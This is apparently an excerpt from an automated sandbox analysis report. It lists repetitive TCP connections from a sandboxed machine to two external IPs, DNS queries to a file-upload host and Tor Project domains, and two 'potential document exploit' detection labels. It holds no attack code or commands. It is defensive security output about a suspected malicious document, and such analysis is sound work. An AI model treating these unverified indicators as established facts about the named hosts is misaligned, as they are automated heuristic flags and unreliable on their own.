Source: global traffic TCP traffic: 116.202.120.166:443 -> 192.168.2.5:49728
Source: global traffic TCP traffic: 116.202.120.166:443 -> 192.168.2.5:49728
Source: global traffic TCP traffic: 116.202.120.166:443 -> 192.168.2.5:49728
Source: global traffic TCP traffic: 192.168.2.5:49728 -> 116.202.120.166:443
Source: global traffic TCP traffic: 192.168.2.5:49728 -> 116.202.120.166:443
Source: global traffic TCP traffic: 192.168.2.5:49728 -> 116.202.120.166:443
Source: global traffic TCP traffic: 116.202.120.166:443 -> 192.168.2.5:49728
Source: global traffic TCP traffic: 192.168.2.5:49729 -> 116.202.120.166:443
Source: global traffic TCP traffic: 116.202.120.166:443 -> 192.168.2.5:49729
Source: global traffic TCP traffic: 192.168.2.5:49729 -> 116.202.120.166:443
Source: global traffic TCP traffic: 192.168.2.5:49729 -> 116.202.120.166:443
Source: global traffic TCP traffic: 116.202.120.166:443 -> 192.168.2.5:49729
Source: global traffic TCP traffic: 116.202.120.166:443 -> 192.168.2.5:49729
Source: global traffic TCP traffic: 192.168.2.5:49729 -> 116.202.120.166:443
Source: global traffic TCP traffic: 116.202.120.166:443 -> 192.168.2.5:49729
Source: global traffic TCP traffic: 192.168.2.5:49729 -> 116.202.120.166:443
Source: global traffic TCP traffic: 116.202.120.166:443 -> 192.168.2.5:49729
Source: global traffic TCP traffic: 116.202.120.166:443 -> 192.168.2.5:49729
Source: global traffic TCP traffic: 116.202.120.166:443 -> 192.168.2.5:49729
Source: global traffic TCP traffic: 192.168.2.5:49729 -> 116.202.120.166:443
Source: global traffic TCP traffic: 192.168.2.5:49729 -> 116.202.120.166:443
Source: global traffic TCP traffic: 116.202.120.166:443 -> 192.168.2.5:49729
Source: global traffic TCP traffic: 192.168.2.5:49730 -> 38.229.82.25:443
Source: global traffic TCP traffic: 38.229.82.25:443 -> 192.168.2.5:49730
Source: global traffic TCP traffic: 192.168.2.5:49730 -> 38.229.82.25:443
Source: global traffic TCP traffic: 192.168.2.5:49730 -> 38.229.82.25:443
Source: global traffic TCP traffic: 38.229.82.25:443 -> 192.168.2.5:49730
Source: global traffic TCP traffic: 38.229.82.25:443 -> 192.168.2.5:49730
Source: global traffic TCP traffic: 192.168.2.5:49730 -> 38.229.82.25:443
Source: global traffic TCP traffic: 192.168.2.5:49730 -> 38.229.82.25:443
Source: global traffic TCP traffic: 38.229.82.25:443 -> 192.168.2.5:49730
Source: global traffic TCP traffic: 38.229.82.25:443 -> 192.168.2.5:49730
Source: global traffic TCP traffic: 192.168.2.5:49730 -> 38.229.82.25:443
Source: global traffic TCP traffic: 38.229.82.25:443 -> 192.168.2.5:49730
Source: global traffic TCP traffic: 38.229.82.25:443 -> 192.168.2.5:49730
Source: global traffic TCP traffic: 38.229.82.25:443 -> 192.168.2.5:49730
Source: global traffic TCP traffic: 192.168.2.5:49730 -> 38.229.82.25:443
Source: global traffic TCP traffic: 38.229.82.25:443 -> 192.168.2.5:49730
Source: global traffic TCP traffic: 38.229.82.25:443 -> 192.168.2.5:49730
Source: global traffic TCP traffic: 192.168.2.5:49730 -> 38.229.82.25:443
Source: global traffic TCP traffic: 38.229.82.25:443 -> 192.168.2.5:49730
Source: global traffic TCP traffic: 38.229.82.25:443 -> 192.168.2.5:49730
Source: global traffic TCP traffic: 192.168.2.5:49730 -> 38.229.82.25:443
Source: global traffic TCP traffic: 38.229.82.25:443 -> 192.168.2.5:49730
Source: global traffic TCP traffic: 38.229.82.25:443 -> 192.168.2.5:49730
Source: global traffic TCP traffic: 38.229.82.25:443 -> 192.168.2.5:49730
Source: global traffic TCP traffic: 38.229.82.25:443 -> 192.168.2.5:49730
Source: global traffic TCP traffic: 192.168.2.5:49730 -> 38.229.82.25:443
Source: global traffic TCP traffic: 38.229.82.25:443 -> 192.168.2.5:49730
Source: global traffic TCP traffic: 192.168.2.5:49730 -> 38.229.82.25:443
Source: global traffic TCP traffic: 38.229.82.25:443 -> 192.168.2.5:49730
Source: global traffic TCP traffic: 38.229.82.25:443 -> 192.168.2.5:49730
Source: global traffic TCP traffic: 38.229.82.25:443 -> 192.168.2.5:49730
Source: global traffic TCP traffic: 192.168.2.5:49730 -> 38.229.82.25:443
Source: global traffic TCP traffic: 38.229.82.25:443 -> 192.168.2.5:49730
Source: global traffic TCP traffic: 192.168.2.5:49730 -> 38.229.82.25:443
Source: global traffic TCP traffic: 38.229.82.25:443 -> 192.168.2.5:49730
Source: global traffic TCP traffic: 38.229.82.25:443 -> 192.168.2.5:49730
Source: global traffic TCP traffic: 38.229.82.25:443 -> 192.168.2.5:49730
Source: global traffic TCP traffic: 192.168.2.5:49730 -> 38.229.82.25:443
Source: global traffic TCP traffic: 38.229.82.25:443 -> 192.168.2.5:49730
Source: global traffic TCP traffic: 192.168.2.5:49730 -> 38.229.82.25:443
Source: global traffic TCP traffic: 38.229.82.25:443 -> 192.168.2.5:49730
Source: global traffic TCP traffic: 38.229.82.25:443 -> 192.168.2.5:49730
Source: global traffic TCP traffic: 38.229.82.25:443 -> 192.168.2.5:49730
Source: global traffic TCP traffic: 192.168.2.5:49730 -> 38.229.82.25:443
Source: global traffic TCP traffic: 38.229.82.25:443 -> 192.168.2.5:49730
Source: global traffic TCP traffic: 192.168.2.5:49730 -> 38.229.82.25:443
Source: global traffic TCP traffic: 38.229.82.25:443 -> 192.168.2.5:49730
Source: global traffic TCP traffic: 38.229.82.25:443 -> 192.168.2.5:49730
Source: global traffic TCP traffic: 38.229.82.25:443 -> 192.168.2.5:49730
Source: global traffic TCP traffic: 192.168.2.5:49730 -> 38.229.82.25:443
Source: global traffic TCP traffic: 38.229.82.25:443 -> 192.168.2.5:49730
Source: global traffic TCP traffic: 192.168.2.5:49730 -> 38.229.82.25:443
Source: global traffic TCP traffic: 38.229.82.25:443 -> 192.168.2.5:49730
Source: global traffic TCP traffic: 38.229.82.25:443 -> 192.168.2.5:49730
Source: global traffic TCP traffic: 192.168.2.5:49730 -> 38.229.82.25:443
Source: global traffic TCP traffic: 38.229.82.25:443 -> 192.168.2.5:49730
Source: global traffic TCP traffic: 38.229.82.25:443 -> 192.168.2.5:49730
Source: global traffic TCP traffic: 192.168.2.5:49730 -> 38.229.82.25:443
Source: global traffic TCP traffic: 38.229.82.25:443 -> 192.168.2.5:49730
Source: global traffic TCP traffic: 38.229.82.25:443 -> 192.168.2.5:49730
Source: global traffic TCP traffic: 38.229.82.25:443 -> 192.168.2.5:49730
Source: global traffic TCP traffic: 192.168.2.5:49730 -> 38.229.82.25:443
Source: global traffic TCP traffic: 38.229.82.25:443 -> 192.168.2.5:49730
Source: global traffic TCP traffic: 192.168.2.5:49730 -> 38.229.82.25:443
Source: global traffic TCP traffic: 38.229.82.25:443 -> 192.168.2.5:49730
Source: global traffic TCP traffic: 38.229.82.25:443 -> 192.168.2.5:49730
Source: global traffic TCP traffic: 192.168.2.5:49730 -> 38.229.82.25:443
Source: global traffic TCP traffic: 38.229.82.25:443 -> 192.168.2.5:49730
Source: global traffic TCP traffic: 38.229.82.25:443 -> 192.168.2.5:49730
Source: global traffic TCP traffic: 38.229.82.25:443 -> 192.168.2.5:49730
Source: global traffic TCP traffic: 192.168.2.5:49730 -> 38.229.82.25:443
Source: global traffic TCP traffic: 38.229.82.25:443 -> 192.168.2.5:49730
Source: global traffic TCP traffic: 38.229.82.25:443 -> 192.168.2.5:49730
Source: global traffic TCP traffic: 38.229.82.25:443 -> 192.168.2.5:49730
Source: global traffic TCP traffic: 38.229.82.25:443 -> 192.168.2.5:49730
Source: global traffic TCP traffic: 192.168.2.5:49730 -> 38.229.82.25:443
Source: global traffic TCP traffic: 38.229.82.25:443 -> 192.168.2.5:49730
Source: global traffic TCP traffic: 192.168.2.5:49730 -> 38.229.82.25:443
Source: global traffic TCP traffic: 38.229.82.25:443 -> 192.168.2.5:49730
Source: global traffic TCP traffic: 38.229.82.25:443 -> 192.168.2.5:49730
Source: global traffic TCP traffic: 38.229.82.25:443 -> 192.168.2.5:49730
Source: global traffic TCP traffic: 192.168.2.5:49730 -> 38.229.82.25:443
Source: global traffic TCP traffic: 38.229.82.25:443 -> 192.168.2.5:49730
Source: global traffic TCP traffic: 192.168.2.5:49730 -> 38.229.82.25:443
Source: global traffic TCP traffic: 38.229.82.25:443 -> 192.168.2.5:49730
Source: global traffic TCP traffic: 38.229.82.25:443 -> 192.168.2.5:49730
Source: global traffic TCP traffic: 38.229.82.25:443 -> 192.168.2.5:49730
Source: global traffic TCP traffic: 192.168.2.5:49730 -> 38.229.82.25:443
Source: global traffic TCP traffic: 38.229.82.25:443 -> 192.168.2.5:49730
Source: global traffic TCP traffic: 192.168.2.5:49730 -> 38.229.82.25:443
Source: global traffic TCP traffic: 38.229.82.25:443 -> 192.168.2.5:49730
Source: global traffic TCP traffic: 38.229.82.25:443 -> 192.168.2.5:49730
Source: global traffic TCP traffic: 38.229.82.25:443 -> 192.168.2.5:49730
Source: global traffic TCP traffic: 192.168.2.5:49730 -> 38.229.82.25:443
Source: global traffic TCP traffic: 38.229.82.25:443 -> 192.168.2.5:49730
Source: global traffic TCP traffic: 192.168.2.5:49730 -> 38.229.82.25:443
Source: global traffic TCP traffic: 38.229.82.25:443 -> 192.168.2.5:49730
Source: global traffic TCP traffic: 38.229.82.25:443 -> 192.168.2.5:49730
Source: global traffic TCP traffic: 38.229.82.25:443 -> 192.168.2.5:49730
Source: global traffic TCP traffic: 192.168.2.5:49730 -> 38.229.82.25:443
Source: global traffic TCP traffic: 38.229.82.25:443 -> 192.168.2.5:49730
Source: global traffic TCP traffic: 38.229.82.25:443 -> 192.168.2.5:49730
Source: global traffic TCP traffic: 38.229.82.25:443 -> 192.168.2.5:49730
Source: global traffic TCP traffic: 38.229.82.25:443 -> 192.168.2.5:49730
Source: global traffic TCP traffic: 192.168.2.5:49730 -> 38.229.82.25:443
Source: global traffic TCP traffic: 38.229.82.25:443 -> 192.168.2.5:49730
Source: global traffic TCP traffic: 192.168.2.5:49730 -> 38.229.82.25:443
Source: global traffic TCP traffic: 38.229.82.25:443 -> 192.168.2.5:49730
Source: global traffic TCP traffic: 38.229.82.25:443 -> 192.168.2.5:49730
Source: global traffic TCP traffic: 38.229.82.25:443 -> 192.168.2.5:49730
Source: global traffic TCP traffic: 192.168.2.5:49730 -> 38.229.82.25:443
Source: global traffic TCP traffic: 38.229.82.25:443 -> 192.168.2.5:49730
Source: global traffic TCP traffic: 192.168.2.5:49730 -> 38.229.82.25:443
Source: global traffic TCP traffic: 38.229.82.25:443 -> 192.168.2.5:49730
Source: global traffic TCP traffic: 38.229.82.25:443 -> 192.168.2.5:49730
Source: global traffic TCP traffic: 38.229.82.25:443 -> 192.168.2.5:49730
Source: global traffic TCP traffic: 192.168.2.5:49730 -> 38.229.82.25:443
Source: global traffic TCP traffic: 38.229.82.25:443 -> 192.168.2.5:49730
Source: global traffic TCP traffic: 192.168.2.5:49730 -> 38.229.82.25:443
Source: global traffic TCP traffic: 38.229.82.25:443 -> 192.168.2.5:49730
Source: global traffic TCP traffic: 38.229.82.25:443 -> 192.168.2.5:49730
Source: global traffic TCP traffic: 192.168.2.5:49730 -> 38.229.82.25:443
Source: global traffic TCP traffic: 38.229.82.25:443 -> 192.168.2.5:49730
Source: global traffic TCP traffic: 38.229.82.25:443 -> 192.168.2.5:49730
Source: global traffic TCP traffic: 38.229.82.25:443 -> 192.168.2.5:49730
Source: global traffic TCP traffic: 38.229.82.25:443 -> 192.168.2.5:49730
Source: global traffic TCP traffic: 192.168.2.5:49730 -> 38.229.82.25:443
Source: global traffic TCP traffic: 38.229.82.25:443 -> 192.168.2.5:49730
Source: global traffic TCP traffic: 192.168.2.5:49730 -> 38.229.82.25:443
Source: global traffic TCP traffic: 38.229.82.25:443 -> 192.168.2.5:49730
Source: global traffic TCP traffic: 38.229.82.25:443 -> 192.168.2.5:49730
Source: global traffic TCP traffic: 192.168.2.5:49730 -> 38.229.82.25:443
Source: global traffic TCP traffic: 38.229.82.25:443 -> 192.168.2.5:49730
Source: global traffic TCP traffic: 38.229.82.25:443 -> 192.168.2.5:49730
Source: global traffic TCP traffic: 38.229.82.25:443 -> 192.168.2.5:49730
Source: global traffic TCP traffic: 192.168.2.5:49730 -> 38.229.82.25:443
Source: global traffic TCP traffic: 38.229.82.25:443 -> 192.168.2.5:49730
Source: global traffic TCP traffic: 38.229.82.25:443 -> 192.168.2.5:49730
Source: global traffic TCP traffic: 38.229.82.25:443 -> 192.168.2.5:49730
Source: global traffic TCP traffic: 192.168.2.5:49730 -> 38.229.82.25:443
Source: global traffic TCP traffic: 38.229.82.25:443 -> 192.168.2.5:49730
Source: global traffic TCP traffic: 38.229.82.25:443 -> 192.168.2.5:49730
Source: global traffic TCP traffic: 38.229.82.25:443 -> 192.168.2.5:49730
Source: global traffic TCP traffic: 192.168.2.5:49730 -> 38.229.82.25:443
Source: global traffic TCP traffic: 38.229.82.25:443 -> 192.168.2.5:49730
Source: global traffic TCP traffic: 192.168.2.5:49730 -> 38.229.82.25:443
Source: global traffic TCP traffic: 38.229.82.25:443 -> 192.168.2.5:49730
Source: global traffic TCP traffic: 38.229.82.25:443 -> 192.168.2.5:49730
Source: global traffic TCP traffic: 192.168.2.5:49730 -> 38.229.82.25:443
Source: global traffic TCP traffic: 38.229.82.25:443 -> 192.168.2.5:49730
Source: global traffic TCP traffic: 38.229.82.25:443 -> 192.168.2.5:49730
Source: global traffic TCP traffic: 38.229.82.25:443 -> 192.168.2.5:49730
Source: global traffic TCP traffic: 192.168.2.5:49730 -> 38.229.82.25:443
Source: global traffic TCP traffic: 38.229.82.25:443 -> 192.168.2.5:49730
Source: global traffic TCP traffic: 38.229.82.25:443 -> 192.168.2.5:49730
Source: global traffic TCP traffic: 38.229.82.25:443 -> 192.168.2.5:49730
Source: global traffic TCP traffic: 192.168.2.5:49730 -> 38.229.82.25:443
Source: global traffic TCP traffic: 192.168.2.5:49730 -> 38.229.82.25:443
Source: global traffic TCP traffic: 38.229.82.25:443 -> 192.168.2.5:49730
Source: global traffic TCP traffic: 38.229.82.25:443 -> 192.168.2.5:49730
Source: global traffic TCP traffic: 38.229.82.25:443 -> 192.168.2.5:49730
Source: global traffic TCP traffic: 192.168.2.5:49730 -> 38.229.82.25:443
Source: global traffic TCP traffic: 38.229.82.25:443 -> 192.168.2.5:49730
Source: global traffic TCP traffic: 38.229.82.25:443 -> 192.168.2.5:49730
Source: global traffic TCP traffic: 38.229.82.25:443 -> 192.168.2.5:49730
Source: global traffic TCP traffic: 192.168.2.5:49730 -> 38.229.82.25:443
Source: global traffic TCP traffic: 38.229.82.25:443 -> 192.168.2.5:49730
Source: global traffic TCP traffic: 38.229.82.25:443 -> 192.168.2.5:49730
Source: global traffic TCP traffic: 38.229.82.25:443 -> 192.168.2.5:49730
Source: global traffic TCP traffic: 192.168.2.5:49730 -> 38.229.82.25:443
Source: global traffic TCP traffic: 38.229.82.25:443 -> 192.168.2.5:49730
Source: global traffic TCP traffic: 38.229.82.25:443 -> 192.168.2.5:49730
Source: global traffic TCP traffic: 38.229.82.25:443 -> 192.168.2.5:49730
Source: global traffic TCP traffic: 192.168.2.5:49730 -> 38.229.82.25:443
Source: global traffic TCP traffic: 38.229.82.25:443 -> 192.168.2.5:49730
Source: global traffic TCP traffic: 38.229.82.25:443 -> 192.168.2.5:49730
Source: global traffic TCP traffic: 38.229.82.25:443 -> 192.168.2.5:49730
Source: global traffic TCP traffic: 192.168.2.5:49730 -> 38.229.82.25:443
Source: global traffic TCP traffic: 38.229.82.25:443 -> 192.168.2.5:49730
Source: global traffic TCP traffic: 38.229.82.25:443 -> 192.168.2.5:49730
Source: global traffic TCP traffic: 38.229.82.25:443 -> 192.168.2.5:49730
Source: global traffic TCP traffic: 192.168.2.5:49730 -> 38.229.82.25:443
Source: global traffic TCP traffic: 38.229.82.25:443 -> 192.168.2.5:49730
Source: global traffic TCP traffic: 38.229.82.25:443 -> 192.168.2.5:49730
Source: global traffic TCP traffic: 38.229.82.25:443 -> 192.168.2.5:49730
Source: global traffic TCP traffic: 192.168.2.5:49730 -> 38.229.82.25:443
Source: global traffic TCP traffic: 38.229.82.25:443 -> 192.168.2.5:49730
Source: global traffic TCP traffic: 192.168.2.5:49730 -> 38.229.82.25:443
Source: global traffic TCP traffic: 38.229.82.25:443 -> 192.168.2.5:49730
Source: global traffic TCP traffic: 38.229.82.25:443 -> 192.168.2.5:49730
Source: global traffic TCP traffic: 192.168.2.5:49730 -> 38.229.82.25:443
Source: global traffic TCP traffic: 38.229.82.25:443 -> 192.168.2.5:49730
Source: global traffic TCP traffic: 192.168.2.5:49730 -> 38.229.82.25:443
Source: global traffic TCP traffic: 38.229.82.25:443 -> 192.168.2.5:49730
Source: global traffic TCP traffic: 38.229.82.25:443 -> 192.168.2.5:49730
Source: global traffic TCP traffic: 192.168.2.5:49730 -> 38.229.82.25:443
Source: global traffic TCP traffic: 38.229.82.25:443 -> 192.168.2.5:49730
Source: global traffic TCP traffic: 192.168.2.5:49730 -> 38.229.82.25:443
Source: global traffic TCP traffic: 38.229.82.25:443 -> 192.168.2.5:49730
Source: global traffic TCP traffic: 192.168.2.5:49730 -> 38.229.82.25:443
Source: global traffic TCP traffic: 38.229.82.25:443 -> 192.168.2.5:49730
Source: global traffic TCP traffic: 38.229.82.25:443 -> 192.168.2.5:49730
Source: global traffic TCP traffic: 38.229.82.25:443 -> 192.168.2.5:49730
Source: global traffic TCP traffic: 192.168.2.5:49730 -> 38.229.82.25:443
Source: global traffic TCP traffic: 38.229.82.25:443 -> 192.168.2.5:49730
Source: global traffic TCP traffic: 38.229.82.25:443 -> 192.168.2.5:49730
Source: global traffic TCP traffic: 38.229.82.25:443 -> 192.168.2.5:49730
Source: global traffic TCP traffic: 192.168.2.5:49730 -> 38.229.82.25:443
Source: global traffic TCP traffic: 38.229.82.25:443 -> 192.168.2.5:49730
Source: global traffic TCP traffic: 192.168.2.5:49730 -> 38.229.82.25:443
Source: global traffic TCP traffic: 38.229.82.25:443 -> 192.168.2.5:49730
Source: global traffic TCP traffic: 192.168.2.5:49730 -> 38.229.82.25:443
Source: global traffic TCP traffic: 38.229.82.25:443 -> 192.168.2.5:49730
Source: global traffic TCP traffic: 38.229.82.25:443 -> 192.168.2.5:49730
Source: global traffic TCP traffic: 192.168.2.5:49730 -> 38.229.82.25:443
Source: global traffic TCP traffic: 38.229.82.25:443 -> 192.168.2.5:49730
Source: global traffic TCP traffic: 38.229.82.25:443 -> 192.168.2.5:49730
Source: global traffic TCP traffic: 192.168.2.5:49730 -> 38.229.82.25:443
Source: global traffic TCP traffic: 38.229.82.25:443 -> 192.168.2.5:49730
Source: global traffic TCP traffic: 38.229.82.25:443 -> 192.168.2.5:49730
Source: global traffic TCP traffic: 192.168.2.5:49730 -> 38.229.82.25:443
Source: global traffic TCP traffic: 38.229.82.25:443 -> 192.168.2.5:49730
Source: global traffic TCP traffic: 38.229.82.25:443 -> 192.168.2.5:49730
Source: global traffic TCP traffic: 38.229.82.25:443 -> 192.168.2.5:49730
Source: global traffic TCP traffic: 192.168.2.5:49730 -> 38.229.82.25:443
Potential document exploit detected (performs DNS queries)
Source: global traffic DNS query: name: ftpupload.net
Source: global traffic DNS query: name: www.torproject.org
Source: global traffic DNS query: name: www.torproject.org
Source: global traffic DNS query: name: dist.torproject.org
Potential document exploit detected (performs HTTP gets)
Source: global traffic TCP traffic: 192.168.2.5:49728 -> 116.202.120.166:443
Source: global traffic TCP traffic: 192.168.2.5:49729 -> 116.202.120.166:443
Source: global traffic TCP traffic: 192.168.2.5:49730 -> 38.229.82.25:443
Source: global traffic TCP traffic: 192.168.2.5:49728 -> 116.202.120.166:443
Source: global traffic TCP traffic: 192.168.2.5:49728 -> 116.202.120.166:443
Source: global traffic TCP traffic: 192.168.2.5:49728 -> 116.202.120.166:443
Source: global traffic TCP traffic: 192.168.2.5:49728 -> 116.202.120.166:443
Source: global traffic TCP traffic: 192.168.2.5:49728 -> 116.202.120.166:443
Source: global traffic TCP traffic: 192.168.2.5:49728 -> 116.202.120.166:443
Source: global traffic TCP traffic: 192.168.2.5:49728 -> 116.202.120.166:443
Source: global traffic TCP traffic: 192.168.2.5:49728 -> 116.202.120.166:443
Source: global traffic TCP traffic: 192.168.2.5:49728 -> 116.202.120.166:443
Source: global traffic TCP traffic: 192.168.2.5:49728 -> 116.202.120.166:443
Source: global traffic TCP traffic: 192.168.2.5:49728 -> 116.202.120.166:443
Source: global traffic TCP traffic: 192.168.2.5:49728 -> 116.202.120.166:443
Source: global traffic TCP traffic: 192.168.2.5:49728 -> 116.202.120.166:443
Source: global traffic TCP traffic: 192.168.2.5:49729 -> 116.202.120.166:443
Source: global traffic TCP traffic: 192.168.2.5:49729 -> 116.202.120.166:443
Source: global traffic TCP traffic: 192.168.2.5:49729 -> 116.202.120.166:443
Source: global traffic TCP traffic: 192.168.2.5:49729 -> 116.202.120.166:443
Source: global traffic TCP traffic: 192.168.2.5:49729 -> 116.202.120.166:443
Source: global traffic TCP traffic: 192.168.2.5:49729 -> 116.202.120.166:443
Source: global traffic TCP traffic: 192.168.2.5:49729 -> 116.202.120.166:443
Source: global traffic TCP traffic: 192.168.2.5:49730 -> 38.229.82.25:443
Source: global traffic TCP traffic: 192.168.2.5:49730 -> 38.229.82.25:443
Source: global traffic TCP traffic: 192.168.2.5:49730 -> 38.229.82.25:443
Source: global traffic TCP traffic: 192.168.2.5:49730 -> 38.229.82.25:443
Source: global traffic TCP traffic: 192.168.2.5:49730 -> 38.229.82.25:443
Source: global traffic TCP traffic: 192.168.2.5:49730 -> 38.229.82.25:443
Source: global traffic TCP traffic: 192.168.2.5:49730 -> 38.229.82.25:443
Source: global traffic TCP traffic: 192.168.2.5:49730 -> 38.229.82.25:443
Source: global traffic TCP traffic: 192.168.2.5:49730 -> 38.229.82.25:443
Source: global traffic TCP traffic: 192.168.2.5:49730 -> 38.229.82.25:443
Source: global traffic TCP traffic: 192.168.2.5:49730 -> 38.229.82.25:443
Source: global traffic TCP traffic: 192.168.2.5:49730 -> 38.229.82.25:443
Source: global traffic TCP traffic: 192.168.2.5:49730 -> 38.229.82.25:443
Source: global traffic TCP traffic: 192.168.2.5:49730 -> 38.229.82.25:443
Source: global traffic TCP traffic: 192.168.2.5:49730 -> 38.229.82.25:443
Source: global traffic TCP traffic: 192.168.2.5:49730 -> 38.229.82.25:443
Source: global traffic TCP traffic: 192.168.2.5:49730 -> 38.229.82.25:443
Source: global traffic TCP traffic: 192.168.2.5:49730 -> 38.229.82.25:443
Source: global traffic TCP traffic: 192.168.2.5:49730 -> 38.229.82.25:443
Source: global traffic TCP traffic: 192.168.2.5:49730 -> 38.229.82.25:443
Source: global traffic TCP traffic: 192.168.2.5:49730 -> 38.229.82.25:443
Source: global traffic TCP traffic: 192.168.2.5:49730 -> 38.229.82.25:443
Source: global traffic TCP traffic: 192.168.2.5:49730 -> 38.229.82.25:443
Source: global traffic TCP traffic: 192.168.2.5:49730 -> 38.229.82.25:443
Source: global traffic TCP traffic: 192.168.2.5:49730 -> 38.229.82.25:443
Source: global traffic TCP traffic: 192.168.2.5:49730 -> 38.229.82.25:443
Source: global traffic TCP traffic: 192.168.2.5:49730 -> 38.229.82.25:443
Source: global traffic TCP traffic: 192.168.2.5:49730 -> 38.229.82.25:443
Source: global traffic TCP traffic: 192.168.2.5:49730 -> 38.229.82.25:443
Source: global traffic TCP traffic: 192.168.2.5:49730 -> 38.229.82.25:443
Source: global traffic TCP traffic: 192.168.2.5:49730 -> 38.229.82.25:443
Source: global traffic TCP traffic: 192.168.2.5:49730 -> 38.229.82.25:443
Source: global traffic TCP traffic: 192.168.2.5:49730 -> 38.229.82.25:443
Source: global traffic TCP traffic: 192.168.2.5:49730 -> 38.229.82.25:443
Source: global traffic TCP traffic: 192.168.2.5:49730 -> 38.229.82.25:443
Source: global traffic TCP traffic: 192.168.2.5:49730 -> 38.229.82.25:443
Source: global traffic TCP traffic: 192.168.2.5:49730 -> 38.229.82.25:443
Source: global traffic TCP traffic: 192.168.2.5:49730 -> 38.229.82.25:443
Source: global traffic TCP traffic: 192.168.2.5:49730 -> 38.229.82.25:443
Source: global traffic TCP traffic: 192.168.2.5:49730 -> 38.229.82.25:443
Source: global traffic TCP traffic: 192.168.2.5:49730 -> 38.229.82.25:443
Source: global traffic TCP traffic: 192.168.2.5:49730 -> 38.229.82.25:443
Source: global traffic TCP traffic: 192.168.2.5:49730 -> 38.229.82.25:443
Source: global traffic TCP traffic: 192.168.2.5:49730 -> 38.229.82.25:443
Source: global traffic TCP traffic: 192.168.2.5:49730 -> 38.229.82.25:443
Source: global traffic TCP traffic: 192.168.2.5:49730 -> 38.229.82.25:443
Source: global traffic TCP traffic: 192.168.2.5:49730 -> 38.229.82.25:443
Source: global traffic TCP traffic: 192.168.2.5:49730 -> 38.229.82.25:443
Source: global traffic TCP traffic: 192.168.2.5:49730 -> 38.229.82.25:443
Source: global traffic TCP traffic: 192.168.2.5:49730 -> 38.229.82.25:443
Source: global traffic TCP traffic: 192.168.2.5:49730 -> 38.229.82.25:443
Source: global traffic TCP traffic: 192.168.2.5:49730 -> 38.229.82.25:443
Source: global traffic TCP traffic: 192.168.2.5:49730 -> 38.229.82.25:443
Source: global traffic TCP traffic: 192.168.2.5:49730 -> 38.229.82.25:443
Source: global traffic TCP traffic: 192.168.2.5:49730 -> 38.229.82.25:443
Source: global traffic TCP traffic: 192.168.2.5:49730 -> 38.229.82.25:443
Source: global traffic TCP traffic: 192.168.2.5:49730 -> 38.229.82.25:443
Source: global traffic TCP traffic: 192.168.2.5:49730 -> 38.229.82.25:443
Source: global traffic TCP traffic: 192.168.2.5:49730 -> 38.229.82.25:443
Source: global traffic TCP traffic: 192.168.2.5:49730 -> 38.229.82.25:443
Source: global traffic TCP traffic: 192.168.2.5:49730 -> 38.229.82.25:443
Source: global traffic TCP traffic: 192.168.2.5:49730 -> 38.229.82.25:443
Source: global traffic TCP traffic: 192.168.2.5:49730 -> 38.229.82.25:443
Source: global traffic TCP traffic: 192.168.2.5:49730 -> 38.229.82.25:443
Source: global traffic TCP traffic: 192.168.2.5:49730 -> 38.229.82.25:443
Source: global traffic TCP traffic: 192.168.2.5:49730 -> 38.229.82.25:443
Source: global traffic TCP traffic: 192.168.2.5:49730 -> 38.229.82.25:443
Source: global traffic TCP traffic: 192.168.2.5:49730 -> 38.229.82.25:443
Source: global traffic TCP traffic: 192.168.2.5:49730 -> 38.229.82.25:443
Source: global traffic TCP traffic: 192.168.2.5:49730 -> 38.229.82.25:443
Source: global traffic TCP traffic: 192.168.2.5:49730 -> 38.229.82.25:443
Source: global traffic TCP traffic: 192.168.2.5:49730 -> 38.229.82.25:443
Source: global traffic TCP traffic: 192.168.2.5:49730 -> 38.229.82.25:443
Source: global traffic TCP traffic: 192.168.2.5:49730 -> 38.229.82.25:443
Source: global traffic TCP traffic: 192.168.2.5:49730 -> 38.229.82.25:443
Source: global traffic TCP traffic: 192.168.2.5:49730 -> 38.229.82.25:443
Source: global traffic TCP traffic: 192.168.2.5:49730 -> 38.229.82.25:443
Source: global traffic TCP traffic: 192.168.2.5:49730 -> 38.229.82.25:443
Source: global traffic TCP traffic: 192.168.2.5:49730 -> 38.229.82.25:443
Source: global traffic TCP traffic: 192.168.2.5:49730 -> 38.229.82.25:443
Source: global traffic TCP traffic: 192.168.2.5:49730 -> 38.229.82.25:443
Source: global traffic TCP traffic: 192.168.2.5:49730 -> 38.229.82.25:443
Source: global traffic TCP traffic: 192.168.2.5:49730 -> 38.229.82.25:443
Source: global traffic TCP traffic: 192.168.2.5:49730 -> 38.229.82.25:443
Source: global traffic TCP traffic: 192.168.2.5:49730 -> 38.229.82.25:443
Source: global traffic TCP traffic: 192.168.2.5:49730 -> 38.229.82.25:443
Source: global traffic TCP traffic: 192.168.2.5:49730 -> 38.229.82.25:443
Source: global traffic TCP traffic: 192.168.2.5:49730 -> 38.229.82.25:443
Source: global traffic TCP traffic: 192.168.2.5:49730 -> 38.229.82.25:443
Source: global traffic TCP traffic: 192.168.2.5:49730 -> 38.229.82.25:443
Source: global traffic TCP traffic: 192.168.2.5:49730 -> 38.229.82.25:443
Source: global traffic TCP traffic: 192.168.2.5:49730 -> 38.229.82.25:443
Source: global traffic TCP traffic: 192.168.2.5:49730 -> 38.229.82.25:443
Source: global traffic TCP traffic: 192.168.2.5:49730 -> 38.229.82.25:443
Source: global traffic TCP traffic: 192.168.2.5:49730 -> 38.229.82.25:443
Source: global traffic TCP traffic: 192.168.2.5:49730 -> 38.229.82.25:443
Source: global traffic TCP traffic: 192.168.2.5:49730 -> 38.229.82.25:443
Source: global traffic TCP traffic: 192.168.2.5:49730 -> 38.229.82.25:443
Source: global traffic TCP traffic: 192.168.2.5:49730 -> 38.229.82.25:443
Source: global traffic TCP traffic: 192.168.2.5:49730 -> 38.229.82.25:443
Source: global traffic TCP traffic: 192.168.2.5:49730 -> 38.229.82.25:443
Source: global traffic TCP traffic: 192.168.2.5:49730 -> 38.229.82.25:443
Source: global traffic TCP traffic: 192.168.2.5:49730 -> 38.229.82.25:443
Source: global traffic TCP traffic: 192.168.2.5:49730 -> 38.229.82.25:443
Source: global traffic TCP traffic: 192.168.2.5:49730 -> 38.229.82.25:443
Source: global traffic TCP traffic: 192.168.2.5:49730 -> 38.229.82.25:443
Source: global traffic TCP traffic: 192.168.2.5:49730 -> 38.229.82.25:443
Source: global traffic TCP traffic: 192.168.2.5:49730 -> 38.229.82.25:443
Source: global traffic TCP traffic: 192.168.2.5:49730 -> 38.229.82.25:443
Source: global traffic TCP traffic: 192.168.2.5:49730 -> 38.229.82.25:443
Source: global traffic TCP traffic: 192.168.2.5:49730 -> 38.229.82.25:443
